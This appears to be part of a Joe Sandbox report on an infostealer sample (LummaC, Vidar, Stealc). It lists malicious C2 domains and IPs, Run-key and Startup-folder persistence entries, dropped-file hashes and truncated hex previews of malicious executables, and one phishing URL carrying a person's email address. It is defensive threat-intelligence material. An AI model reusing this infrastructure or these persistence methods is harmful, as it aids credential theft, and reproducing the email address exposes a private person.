https://steamcommunity.com/market/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IJEGDB.3.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GCGHCB.3.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.189.2	performenj.shop	United States	13335	CLOUDFLARENETUS	true
172.67.162.108	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
172.67.132.32	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	offensivedzvju.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
5.75.211.162	unknown	Germany	24940	HETZNER-ASDE	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
172.67.208.139	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518461
Start date and time:	2024-09-25 17:59:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@30/1065@14/11
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 93 Number of non-executed functions: 222
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AFIDGDBGCA.exe, PID 1732 because it is empty
Execution Graph export aborted for target FDWDZ.exe, PID 4352 because it is empty
Execution Graph export aborted for target MFDBG.exe, PID 5248 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtFsControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:00:28	API Interceptor	2x Sleep call for process: RegAsm.exe modified
12:01:00	API Interceptor	1x Sleep call for process: AFIDGDBGCA.exe modified
12:01:01	API Interceptor	1151x Sleep call for process: MFDBG.exe modified
12:01:59	API Interceptor	2x Sleep call for process: WerFault.exe modified
18:01:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52 C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
18:01:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52 C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
18:01:31	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9462fb30971346cbbb29a09df630ea1e.lnk
18:01:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdd0375322dc48738e770e5624bf6a27.lnk
18:02:03	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45b30cbe6e2a498db954574dac67e637.lnk
18:02:18	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff62bdcaefb94ca7be7e922d95224cd3.lnk
18:02:39	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_daa16c9617144e47826751986202a847.lnk
18:02:54	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89f61e6afd78478fa9de64f94538818f.lnk
18:03:09	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c18fd29e3f54d9dba1e041402f1cab3.lnk
18:03:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_574798ca634540d0ac4fec20b90d0247.lnk
18:03:46	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e72484df0e564f8290ff65efbfa15e36.lnk
18:04:08	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c6337ec4ceb449b99822e5f2115df1c.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.189.2	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Suselx1.exe	Get hash	malicious	LummaC	Browse
	gkqg90.ps1	Get hash	malicious	LummaC	Browse
	Res.ps1	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.716.1862.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
172.67.162.108	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.716.1862.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
188.114.97.3	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2wnz/
	(PO403810)_VOLEX_doc.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/DiF66Hbf/download
	http://easyantrim.pages.dev/id.html	Get hash	malicious	HTMLPhisher	Browse	easyantrim.pages.dev/id.html
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/13rSMZZi/download
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/yhsl/
	PO-001.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	ADNOC REQUESTS & reviews.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	updater.exe	Get hash	malicious	Unknown	Browse	microsoft-rage.world/Api/v3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	SecuriteInfo.com.Win32.PWSX-gen.716.1862.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
performenj.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	Suselx1.exe	Get hash	malicious	LummaC	Browse	172.67.189.2
	gkqg90.ps1	Get hash	malicious	LummaC	Browse	172.67.189.2
	009.ps1	Get hash	malicious	LummaC	Browse	104.21.51.224
	ir57.ps1	Get hash	malicious	LummaC	Browse	104.21.51.224
	ueu7.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	opqg.ps1	Get hash	malicious	LummaC	Browse	104.21.51.224
	Info.ps1	Get hash	malicious	LummaC	Browse	104.21.51.224
fragnantbui.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.716.1862.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
	message.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://docu.lafolieduocehotels.com/document/?top=cyndie.winger@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	172.67.183.61
	http://rkanet.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	NTGcon.msi	Get hash	malicious	Unknown	Browse	104.16.77.47
	electrum-hmstr-3.2.5-portable.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://us-west-2.protection.sophos.com/?d=guyr00fing.com&u=aHR0cHM6Ly9ndXlyMDBmaW5nLmNvbS9qVndXa05QeS9jMjlqUUdOMGJYTnBkQzVqYjIwPQ==&p=m&i=NjI3Mjc4OTk0MGU3YTAxM2U2ZWIxMDZj&t=N0VSZ0JVYTRmci9PeEg5aDFwS0g5NjZXYkVsaWQ1L21rRUkwQ2l3c1RoUT0=&h=fd815cbc911944b3b275a46897ab06ef&s=AVNPUEhUT0NFTkNSWVBUSVajjTLgPqhT66av3vHX2i2H6lUai4tj78AtogmBq_V0eA	Get hash	malicious	Unknown	Browse	104.21.29.115
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
	message.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://docu.lafolieduocehotels.com/document/?top=cyndie.winger@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	172.67.183.61
	http://rkanet.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	NTGcon.msi	Get hash	malicious	Unknown	Browse	104.16.77.47
	electrum-hmstr-3.2.5-portable.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://us-west-2.protection.sophos.com/?d=guyr00fing.com&u=aHR0cHM6Ly9ndXlyMDBmaW5nLmNvbS9qVndXa05QeS9jMjlqUUdOMGJYTnBkQzVqYjIwPQ==&p=m&i=NjI3Mjc4OTk0MGU3YTAxM2U2ZWIxMDZj&t=N0VSZ0JVYTRmci9PeEg5aDFwS0g5NjZXYkVsaWQ1L21rRUkwQ2l3c1RoUT0=&h=fd815cbc911944b3b275a46897ab06ef&s=AVNPUEhUT0NFTkNSWVBUSVajjTLgPqhT66av3vHX2i2H6lUai4tj78AtogmBq_V0eA	Get hash	malicious	Unknown	Browse	104.21.29.115
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
	message.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://docu.lafolieduocehotels.com/document/?top=cyndie.winger@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	172.67.183.61
	http://rkanet.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	NTGcon.msi	Get hash	malicious	Unknown	Browse	104.16.77.47
	electrum-hmstr-3.2.5-portable.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://us-west-2.protection.sophos.com/?d=guyr00fing.com&u=aHR0cHM6Ly9ndXlyMDBmaW5nLmNvbS9qVndXa05QeS9jMjlqUUdOMGJYTnBkQzVqYjIwPQ==&p=m&i=NjI3Mjc4OTk0MGU3YTAxM2U2ZWIxMDZj&t=N0VSZ0JVYTRmci9PeEg5aDFwS0g5NjZXYkVsaWQ1L21rRUkwQ2l3c1RoUT0=&h=fd815cbc911944b3b275a46897ab06ef&s=AVNPUEhUT0NFTkNSWVBUSVajjTLgPqhT66av3vHX2i2H6lUai4tj78AtogmBq_V0eA	Get hash	malicious	Unknown	Browse	104.21.29.115
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139
	message.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://docu.lafolieduocehotels.com/document/?top=cyndie.winger@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	172.67.183.61
	http://rkanet.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	NTGcon.msi	Get hash	malicious	Unknown	Browse	104.16.77.47
	electrum-hmstr-3.2.5-portable.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://us-west-2.protection.sophos.com/?d=guyr00fing.com&u=aHR0cHM6Ly9ndXlyMDBmaW5nLmNvbS9qVndXa05QeS9jMjlqUUdOMGJYTnBkQzVqYjIwPQ==&p=m&i=NjI3Mjc4OTk0MGU3YTAxM2U2ZWIxMDZj&t=N0VSZ0JVYTRmci9PeEg5aDFwS0g5NjZXYkVsaWQ1L21rRUkwQ2l3c1RoUT0=&h=fd815cbc911944b3b275a46897ab06ef&s=AVNPUEhUT0NFTkNSWVBUSVajjTLgPqhT66av3vHX2i2H6lUai4tj78AtogmBq_V0eA	Get hash	malicious	Unknown	Browse	104.21.29.115
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.208.139

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://rkanet.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	NTGcon.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	AS5AB7c08n.exe	Get hash	malicious	MicroClip	Browse	188.114.96.3
	file.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	DHL Receipt_AWB811070484778.xls	Get hash	malicious	Unknown	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	KTh1gQlT9a.exe	Get hash	malicious	SmokeLoader	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	ptgl503.exe	Get hash	malicious	LummaC	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	Suselx1.exe	Get hash	malicious	LummaC	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	gkqg90.ps1	Get hash	malicious	LummaC	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	009.ps1	Get hash	malicious	LummaC	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
	ir57.ps1	Get hash	malicious	LummaC	Browse	172.67.189.2 172.67.162.108 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 172.67.208.139
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	SDWLLRJcsY.exe	Get hash	malicious	Remcos, GuLoader	Browse	104.102.49.254
	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254
	cDErPwSuCB.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	tpq.ps1	Get hash	malicious	Unknown	Browse	104.102.49.254
	Kv1tZKstAC.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	z65orderrequest.bat.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\AFIDGDBGCA.exe	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\BFIIEHJDBK.exe	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIDGDBGCA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\ProgramData\BFIIEHJDBK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	377384
Entropy (8bit):	7.988522009011023
Encrypted:	false
SSDEEP:	6144:uXfqISDaHCXsYQkiJ0j0Zt/d/WCIRibFrzae5LpVGbM/5Pg+rq8ZrPbXbCEO:uCvXsWtI/dVHbdastVG2ycWEO
MD5:	0CEE1D66332DEC523210F62E479284B9
SHA1:	33F950916E13A6EC654C52160EE47E88C64A5724
SHA-256:	0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
SHA-512:	603AA4834C6D3A9F3B6B1629EEB2108CECFD7192110F0CF948F2971957A9231AD9D405D8424E3A41B32A8FF415D8F84E55AFDEC38BF996703093084162D11972
Malicious:	true
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v#.f................................ ........@.. ....................................`.....................................W.......................(&..........\................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H.......................................................................M......\=.......S...!.}.S.t...&.P.i@..2...^.-...4.N.....^IG.X.C:,..<J......I{y]cf4s....O.....)..;.xoz......di.0a4Y.Z...yR....7U....8f....d.L..e.q.71.CW.BmK....L.$f.'.......O6..,-B.h(.....l.......}.H..7.$.....$.q.....y....b...@.g.@.B[..1.+....s.......I.rZo.d....d.]X.........6.......f..H..=#......5.X.e.!U]..}...#.....O..vo ..ZSI......G>.2.!....J...".^..l.../zm.w=\("........\|^V..[.L.\|.....

C:\ProgramData\IIIEBGCBGIDH\AFIDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\BFIIEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
